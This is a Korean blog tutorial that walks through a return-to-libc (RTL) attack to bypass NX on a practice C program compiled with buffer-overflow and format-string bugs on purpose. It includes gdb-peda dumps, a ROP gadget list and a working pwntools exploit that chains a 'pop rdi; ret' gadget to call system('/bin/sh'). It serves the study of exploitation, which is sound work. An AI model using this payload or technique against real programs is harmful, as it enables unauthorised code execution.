뇌
바이너리 분석 2 - RTL ( NX-bit bypass ) 본문
[코드]
// gcc -o test code.c -fno-stack-protector -z norelro , No ALSR
#include <stdio.h>
void setup()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main(void)
{
setup();
char buf[0x100];
printf("What's your name? : ");
gets(buf); // Buffer Overflow
printf("Hello, ");
printf(buf); // Format String Bug
printf("!!!\n");
printf("Last greeting : ");
gets(buf); // Buffer Overflow
return 0;
}
gets()
함수로 변수 buf
에 문자열을 받으므로 BOF
를 발생시켜 return address 를 변조하면 되겠다.
https://disso1p1.tistory.com/39 <-- BOF
자세한 내용은 요기로
근데 중요한게 무엇이냐.
NX-bit
보호 기법이 켜져있다.
NX-bit
보호 기법이 켜져있으면 스택, 힙 영역에서 코드를 실행시키는 것을 막는다. 즉, buf
에 쉘코드를 넣고 buf
주소로 뛰어봤자 쉘코드가 실행되지 않는다.
그래서 NX-bit
을 우회하는 기법 중 RTL( Return To Library )
기법을 사용하면 쉽게 풀 수 있다.
라이브러리 영역에는 NX bit
이 적용되지 않기 때문에 라이브러리에 있는 함수를 꺼내 쓰면 되겠다.
system("/bin/sh");
을 실행시킬 건데,
1. system()
함수 주소
2. "/bin/sh" 주소 -> system()
함수의 인자는 char * 형
이므로 문자열이 저장돼 있는 주소를 넣어주어야 한다.
3. pop rdi; ~ ret; ( Gadget ) 주소
ALSR
을 끄기 위해 폰툴로 ALSR
을 끄고 pause()
를 건 후, gdb 를 붙여 동적 디버깅으로 진행해야 한다.
from pwn import *
p = process('./test', aslr = False)
pause()
p.interactive()
1. system()
함수 주소
gdb-peda$ p &system
$3 = (<text variable, no debug info> *) 0x155554fa93a0 <__libc_system>
gdb-peda$
system()
함수 주소 : 0x155554fa93a0
2. "/bin/sh" 주소
라이브러리 파일 /lib/x86_64-linux-gnu/libc-2.23.so
에도 "/bin/sh" 이라는 문자열이 있지만, buf
에 "/bin/sh" 를 넣고 buf
시작 주소를 system()
함수의 인자값으로 넘겨주겠다.
gdb-peda$ disas main
Dump of assembler code for function main:
0x00000000004006e7 <+0>: push rbp
0x00000000004006e8 <+1>: mov rbp,rsp
0x00000000004006eb <+4>: sub rsp,0x100
0x00000000004006f2 <+11>: mov eax,0x0
0x00000000004006f7 <+16>: call 0x400686 <setup>
0x00000000004006fc <+21>: mov edi,0x400804
0x0000000000400701 <+26>: mov eax,0x0
0x0000000000400706 <+31>: call 0x400540 <printf@plt>
0x000000000040070b <+36>: lea rax,[rbp-0x100]
0x0000000000400712 <+43>: mov rdi,rax
0x0000000000400715 <+46>: mov eax,0x0
0x000000000040071a <+51>: call 0x400560 <gets@plt>
0x000000000040071f <+56>: mov edi,0x400819
0x0000000000400724 <+61>: mov eax,0x0
0x0000000000400729 <+66>: call 0x400540 <printf@plt>
0x000000000040072e <+71>: lea rax,[rbp-0x100]
0x0000000000400735 <+78>: mov rdi,rax
0x0000000000400738 <+81>: mov eax,0x0
0x000000000040073d <+86>: call 0x400540 <printf@plt>
0x0000000000400742 <+91>: mov edi,0x400821
0x0000000000400747 <+96>: call 0x400530 <puts@plt>
0x000000000040074c <+101>: mov edi,0x400825
0x0000000000400751 <+106>: mov eax,0x0
0x0000000000400756 <+111>: call 0x400540 <printf@plt>
0x000000000040075b <+116>: lea rax,[rbp-0x100]
0x0000000000400762 <+123>: mov rdi,rax
0x0000000000400765 <+126>: mov eax,0x0
0x000000000040076a <+131>: call 0x400560 <gets@plt>
0x000000000040076f <+136>: mov eax,0x0
0x0000000000400774 <+141>: leave
0x0000000000400775 <+142>: ret
End of assembler dump.
gdb-peda$ b*main+56
Breakpoint 1 at 0x40071f
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdc10 --> 0x69686968 ('hihi')
RBX: 0x0
RCX: 0x1555553288e0 --> 0xfbad208b
RDX: 0x15555532a790 --> 0x0
RSI: 0x155555328963 --> 0x32a790000000000a
RDI: 0x0
RBP: 0x7fffffffdd10 --> 0x400780 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffdc10 --> 0x69686968 ('hihi')
RIP: 0x40071f (<main+56>: mov edi,0x400819)
R8 : 0x15555532a780 --> 0x0
R9 : 0x155555531700 (0x0000155555531700)
R10: 0x57 ('W')
R11: 0x246
R12: 0x400590 (<_start>: xor ebp,ebp)
R13: 0x7fffffffddf0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400712 <main+43>: mov rdi,rax
0x400715 <main+46>: mov eax,0x0
0x40071a <main+51>: call 0x400560 <gets@plt>
=> 0x40071f <main+56>: mov edi,0x400819
0x400724 <main+61>: mov eax,0x0
0x400729 <main+66>: call 0x400540 <printf@plt>
0x40072e <main+71>: lea rax,[rbp-0x100]
0x400735 <main+78>: mov rdi,rax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdc10 --> 0x69686968 ('hihi')
0008| 0x7fffffffdc18 --> 0x7fffffffdc30 --> 0xffffffff
0016| 0x7fffffffdc20 --> 0x6562b026
0024| 0x7fffffffdc28 --> 0x1555550f06e7 ("__vdso_getcpu")
0032| 0x7fffffffdc30 --> 0xffffffff
0040| 0x7fffffffdc38 --> 0x155555555718 --> 0x155555532000 --> 0x155554f64000 --> 0x3010102464c457f
0048| 0x7fffffffdc40 --> 0x2
0056| 0x7fffffffdc48 --> 0x800000000000000e
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000000000040071f in main ()
gdb-peda$ x/gx $rbp-0x100
0x7fffffffdc10: 0x0000000069686968
gdb-peda$
gets()
함수의 인자가 buf
인데, rdi 에 rbp-0x100 의 주소를 넣어주므로 buf
시작주소는 rbp-0x100 임을 알 수 있다.
buf
: 0x7fffffffdc10
3. Gadget
주소
gdb-peda$ rop
Gadgets information
============================================================
0x0000000000400577 : add al, 0 ; add byte ptr [rax], al ; jmp 0x400524
0x0000000000400557 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x400524
0x00000000004007ef : add bl, dh ; ret
0x00000000004007ed : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004007eb : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400537 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x400524
0x0000000000400770 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004005ec : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004007ec : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400771 : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040050b : add byte ptr [rax], al ; add rsp, 8 ; ret
0x0000000000400539 : add byte ptr [rax], al ; jmp 0x400522
0x0000000000400772 : add byte ptr [rax], al ; leave ; ret
0x00000000004005ee : add byte ptr [rax], al ; pop rbp ; ret
0x00000000004007ee : add byte ptr [rax], al ; ret
0x0000000000400668 : add byte ptr [rbp + 5], dh ; jmp 0x400603
0x0000000000400658 : add byte ptr [rcx], al ; ret
0x0000000000400773 : add cl, cl ; ret
0x00000000004007d0 : add dword ptr [rax + 0x39], ecx ; jmp 0x40084d
0x0000000000400547 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x400524
0x0000000000400654 : add eax, 0x2005ae ; add ebx, esi ; ret
0x0000000000400656 : add eax, 0xf3010020 ; ret
0x0000000000400567 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x400524
0x0000000000400659 : add ebx, esi ; ret
0x000000000040050e : add esp, 8 ; ret
0x000000000040050d : add rsp, 8 ; ret
0x0000000000400657 : and byte ptr [rax], al ; add ebx, esi ; ret
0x0000000000400534 : and byte ptr [rax], al ; push 0 ; jmp 0x400527
0x0000000000400544 : and byte ptr [rax], al ; push 1 ; jmp 0x400527
0x0000000000400554 : and byte ptr [rax], al ; push 2 ; jmp 0x400527
0x0000000000400564 : and byte ptr [rax], al ; push 3 ; jmp 0x400527
0x0000000000400574 : and byte ptr [rax], al ; push 4 ; jmp 0x400527
0x00000000004006e3 : call qword ptr [rax + 0x4855c35d]
0x0000000000400685 : call qword ptr [rbp + 0x48]
0x000000000040067e : call rax
0x0000000000400666 : cmp dword ptr [rdi], 0 ; jne 0x400675 ; jmp 0x400605
0x0000000000400665 : cmp qword ptr [rdi], 0 ; jne 0x400676 ; jmp 0x400606
0x00000000004007cc : fmul qword ptr [rax - 0x7d] ; ret
0x0000000000400679 : int1 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400509 : jae 0x400513 ; add byte ptr [rax], al ; add rsp, 8 ; ret
0x00000000004005dd : je 0x4005f8 ; pop rbp ; mov edi, 0x600bd0 ; jmp rax
0x000000000040062b : je 0x400640 ; pop rbp ; mov edi, 0x600bd0 ; jmp rax
0x0000000000400678 : je 0x400671 ; push rbp ; mov rbp, rsp ; call rax
0x000000000040053b : jmp 0x400520
0x000000000040066b : jmp 0x400600
0x00000000004007d3 : jmp 0x40084a
0x00000000004008cb : jmp qword ptr [rax]
0x0000000000400933 : jmp qword ptr [rbp]
0x00000000004008f3 : jmp qword ptr [rcx]
0x00000000004005e5 : jmp rax
0x0000000000400669 : jne 0x400672 ; jmp 0x400602
0x0000000000400774 : leave ; ret
0x0000000000400653 : mov byte ptr [rip + 0x2005ae], 1 ; ret
0x000000000040076f : mov eax, 0 ; leave ; ret
0x000000000040067c : mov ebp, esp ; call rax
0x00000000004005e0 : mov edi, 0x600bd0 ; jmp rax
0x000000000040067b : mov rbp, rsp ; call rax
0x00000000004006e4 : nop ; pop rbp ; ret
0x00000000004005e8 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x00000000004007e8 : nop dword ptr [rax + rax] ; ret
0x0000000000400635 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400662 : or dword ptr [rax], esp ; cmp qword ptr [rdi], 0 ; jne 0x400679 ; jmp 0x400609
0x00000000004005e2 : or esp, dword ptr [rax] ; jmp rax
0x00000000004007dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007e0 : pop r14 ; pop r15 ; ret
0x00000000004007e2 : pop r15 ; ret
0x0000000000400680 : pop rbp ; jmp 0x400601
0x0000000000400652 : pop rbp ; mov byte ptr [rip + 0x2005ae], 1 ; ret
0x00000000004005df : pop rbp ; mov edi, 0x600bd0 ; jmp rax
0x00000000004007db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007df : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005f0 : pop rbp ; ret
0x00000000004007e3 : pop rdi ; ret
0x00000000004007e1 : pop rsi ; pop r15 ; ret
0x00000000004007dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400536 : push 0 ; jmp 0x400525
0x0000000000400546 : push 1 ; jmp 0x400525
0x0000000000400556 : push 2 ; jmp 0x400525
0x0000000000400566 : push 3 ; jmp 0x400525
0x0000000000400576 : push 4 ; jmp 0x400525
0x000000000040067a : push rbp ; mov rbp, rsp ; call rax
0x0000000000400511 : ret
0x0000000000400677 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax
0x0000000000400655 : scasb al, byte ptr [rdi] ; add eax, 0xf3010020 ; ret
0x00000000004007f5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004007f4 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004005ea : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004007ea : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400676 : test eax, eax ; je 0x400673 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400675 : test rax, rax ; je 0x400674 ; push rbp ; mov rbp, rsp ; call rax
Unique gadgets found: 91
gdb-peda$
pop rdi; ret
= 0x00000000004007e3
Gadget
: 0x00000000004007e3
[exploit]
from pwn import *
p = process('./test', aslr = False)
p.sendlineafter(': ', 'hihi')
buf = 0x7fffffffdc10
system = 0x155554fa93a0
prdi = 0x00000000004007e3
pay = ''
pay += '/bin/sh\x00'
pay += 'A'*(0x108-len(pay))
pay += p64(prdi)
pay += p64(buf)
pay += p64(system)
p.sendlineafter(': ', pay)
p.interactive()
return address
를 prdi
로 덮으면 main
함수가 종료되고, pop rdi
가 실행된다. 그러면 다음 인자인 ( rsp
+= 8 을 했으므로 ) buf
가 rdi
에 들어가고, ret
이 실행돼 system()
함수가 호출된다.
>,,<
'Layer 7' 카테고리의 다른 글
운영체제 메모리 할당 알고리즘 (0) | 2020.09.02 |
---|---|
[Pwnable] Codegate 2018 - BaskinRobins31 (0) | 2020.09.01 |
BOF 예제 분석 (0) | 2020.08.16 |
DreamHack - string ( pwnable ) write up (0) | 2020.08.07 |
바이너리 분석 (0) | 2020.07.12 |